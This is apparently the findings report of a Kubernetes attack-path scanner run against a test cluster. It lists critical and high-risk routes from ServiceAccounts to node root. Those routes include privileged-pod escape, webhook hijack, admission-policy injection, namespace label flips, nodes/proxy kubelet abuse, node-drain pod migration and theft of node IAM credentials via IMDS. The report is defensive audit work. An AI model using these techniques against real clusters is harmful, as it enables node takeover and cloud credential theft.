ServiceAccount `foothold-priv` in namespace `foothold-fixtures` reaches node root (container escape) in 1 hop via Container escape to host.

  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
CRITICAL ServiceAccount/hookbackend-fixtures/hookbackend-operator → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `hookbackend-operator` in namespace `hookbackend-fixtures` reaches node root (container escape) in 1 hop via Control-plane backend hijack.

  1. Control-plane backend hijack control_plane_backend_hijack

    Admission webhooks and aggregated API servers are ordinary Services that the API server itself calls, with its own front-proxy credentials and the caller's identity attached. The API server verifies them against the configuration's caBundle with the Service's DNS name pinned. Whoever can steer that Service's traffic (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

    A namespace hosting such a backend therefore has to be treated like kube-system: the built-in edit and admin ClusterRoles hold both halves. A hijacked mutating webhook on pods rewrites every new pod; a hijacked native-group APIService serves a core API group; a validating webhook is bypassed; anything else is an interception point for the API server's traffic.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted write services + read secrets in hookbackend-fixtures
    Gives the attacker can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials
CRITICAL ServiceAccount/local-path-storage/local-path-provisioner-service-account → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `local-path-provisioner-service-account` in namespace `local-path-storage` reaches node root (container escape) in 1 hop via Create a privileged pod and escape to the node.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Survives cutting the local-path-provisioner-bind binding (1 hop)

This route reaches the same target without the local-path-provisioner-bind binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod local-path-storage/local-path-provisioner-67b8995b4b-r5gbn falls back to node IAM role via IMDS
CRITICAL ServiceAccount/map-fixtures/sa-mutating-policy → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `sa-mutating-policy` in namespace `map-fixtures` reaches node root (container escape) in 1 hop via MutatingAdmissionPolicy injection.

  1. MutatingAdmissionPolicy injection mutating_policy_inject

    A MutatingAdmissionPolicy is the in-tree, webhookless way to rewrite objects as the API server admits them (GA in Kubernetes v1.36). Its CEL / JSONPatch mutation lives in etcd and runs inside the API server, so unlike a mutating webhook there is no external endpoint, TLS certificate, or backing Deployment to notice.

    An attacker who can write both the policy and a binding for it injects privileged: true, a hostPath mount, or an extra container into every pod created afterwards. Mutating admission runs before validating admission, so the injected pod still faces Pod Security Admission: the mutation targets a namespace PSA does not restrict (an unlabeled one, or kube-system), lands a privileged pod there, and that is a node escape.

    From ServiceAccount/map-fixtures/sa-mutating-policy
    Permission granted create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings
    Gives the attacker can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-create-escape → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches node root (container escape) in 1 hop via Create a privileged pod and escape to the node.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
CRITICAL ServiceAccount/psa-suppressed/default → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `default` in namespace `psa-suppressed` reaches node root (container escape) in 1 hop via Container escape to host.

  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-suppressed/default
    Permission granted privileged
    Gives the attacker runs in pod psa-suppressed/psa-priv-app-54c64bdd84-w4v5m with privileged
CRITICAL ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `sa-psa-unlabeled` in namespace `psa-unlabeled-fixtures` reaches node root (container escape) in 1 hop via Container escape to host.

  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted hostNetwork
    Gives the attacker runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-nmmrs with hostNetwork
CRITICAL ServiceAccount/psaflip-fixtures/psaflip-flipper → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `psaflip-flipper` in namespace `psaflip-fixtures` reaches node root (container escape) in 1 hop via Pod Security Admission label flip.

  1. Pod Security Admission label flip namespace_psa_label_flip

    Pod Security Admission decides how strictly to vet pods in a namespace by reading the pod-security.kubernetes.io/enforce label on the Namespace object at admission time. That label is ordinary metadata: nothing in Kubernetes protects it, so anyone who can update or patch the namespace can set it to privileged and switch the lockdown off.

    Alone the label write changes nothing. Paired with a way to create pods in that namespace, it lets the attacker land a privileged or host-mounting pod in a namespace the cluster's PSA posture reports as restricted, and escape to the node from there. The write grant is outside the built-in admin/edit roles, and a namespaced Role can carry it for its own namespace, because the API server treats /api/v1/namespaces/<ns> as a request inside <ns>.

    From ServiceAccount/psaflip-fixtures/psaflip-flipper
    Permission granted patch namespaces + create pods (psaflip-fixtures)
    Gives the attacker can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node
CRITICAL ServiceAccount/rbac-fixtures/sa-nodes-proxy → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `sa-nodes-proxy` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via nodes/proxy → kubelet API.

  1. nodes/proxy → kubelet API nodes_proxy

    The nodes/proxy subresource forwards requests to the kubelet on each node. Combined with kubelet's /exec endpoint and a WebSocket verb mismatch, this becomes a primitive for executing commands inside any pod the kubelet can reach.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted get nodes/proxy
    Gives the attacker can reach kubelet API via nodes/proxy WebSocket verb confusion
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via Create a privileged pod and escape to the node.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Survives cutting the crb-pod-create binding (1 hop)

This route reaches the same target without the crb-pod-create binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/daemon-app-v82sg falls back to node IAM role via IMDS
CRITICAL ServiceAccount/rbac-fixtures/sa-workload-mutate → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `sa-workload-mutate` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via Privileged workload → node escape.

  1. Privileged workload → node escape workload_privileged_escape

    A workload's controller creates pods from its template, and those pods face the same Pod Security Admission check as a pod created directly. Where the namespace does not enforce baseline or restricted, a template can set privileged: true, host namespaces, or a hostPath mount, and the resulting pods reach the node.

    This follows from create on any workload kind, or from update/patch on an existing one. The fix is the same as for pod creation: enforce a Pod Security level on the namespace, and grant workload writes only to deploy automation.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs (Pod Security Admission does not block privileged)
    Gives the attacker can create a workload whose pod template is privileged, and escape to the node from its pods
CRITICAL ServiceAccount/vulnerable/default → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `default` in namespace `vulnerable` reaches node root (container escape) in 1 hop via Container escape to host.

  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/vulnerable/default
    Permission granted hostPID,hostIPC
    Gives the attacker runs in pod vulnerable/host-ns-app-7cb46d5788-xbc8b with hostPID, hostIPC
CRITICAL ServiceAccount/vulnerable/privileged-reader → node root (container escape) score 9.0 1 hop View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches node root (container escape) in 1 hop via Create a privileged pod and escape to the node.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/vulnerable/privileged-reader
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
CRITICAL ServiceAccount/foothold-ops/foothold-execer → node root (container escape) score 8.6 2 hops View finding →

ServiceAccount `foothold-execer` in namespace `foothold-ops` reaches node root (container escape) in 2 hops via Pod exec → container takeover → Container escape to host.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv
  2. Step 2 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
HIGH ServiceAccount/cert-manager/cert-manager → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `cert-manager` in namespace `cert-manager` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/cloud-eks-test/default → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `default` in namespace `cloud-eks-test` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
HIGH ServiceAccount/containersec-fixtures/default → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `default` in namespace `containersec-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/containersec-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS
HIGH ServiceAccount/csr-fixtures/sa-csr-mint → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `sa-csr-mint` in namespace `csr-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod csr-fixtures/csr-mint-app-7b46f9dc-lkbq6 falls back to node IAM role via IMDS
HIGH ServiceAccount/csr-fixtures/sa-csr-sign → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `sa-csr-sign` in namespace `csr-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/csr-fixtures/sa-csr-sign
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod csr-fixtures/csr-sign-app-5db6bf86b4-p7xd8 falls back to node IAM role via IMDS
HIGH ServiceAccount/cutres/cutres-detour → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `cutres-detour` in namespace `cutres` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cutres/cutres-detour
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/cutres/cutres-parallel → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `cutres-parallel` in namespace `cutres` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/deepchain-tenant/deepchain-privileged → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `deepchain-privileged` in namespace `deepchain-tenant` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/flat-network/default → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `default` in namespace `flat-network` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/flat-network/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS
HIGH ServiceAccount/flux-system/kustomize-controller → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `kustomize-controller` in namespace `flux-system` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/flux-system/kustomize-controller
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/foothold-exec/foothold-decoy-sa → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `foothold-decoy-sa` in namespace `foothold-exec` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/foothold-exec/foothold-reader → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `foothold-reader` in namespace `foothold-exec` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
HIGH ServiceAccount/foothold-fixtures/foothold-quiet → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `foothold-quiet` in namespace `foothold-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS
HIGH ServiceAccount/gw-workloads/gw-web-sa → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `gw-web-sa` in namespace `gw-workloads` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
HIGH ServiceAccount/hookbackend-fixtures/default → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `default` in namespace `hookbackend-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/hookbackend-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS
HIGH ServiceAccount/imgswap-fixtures/imgswap-reader → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `imgswap-reader` in namespace `imgswap-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
HIGH ServiceAccount/ingress-only/default → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `default` in namespace `ingress-only` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/ingress-only/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS
HIGH ServiceAccount/lp-fixtures/sa-lp-narrow → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `sa-lp-narrow` in namespace `lp-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS
HIGH ServiceAccount/lp-fixtures/sa-lp-orphan → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `sa-lp-orphan` in namespace `lp-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `sa-lp-wildcard` in namespace `lp-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

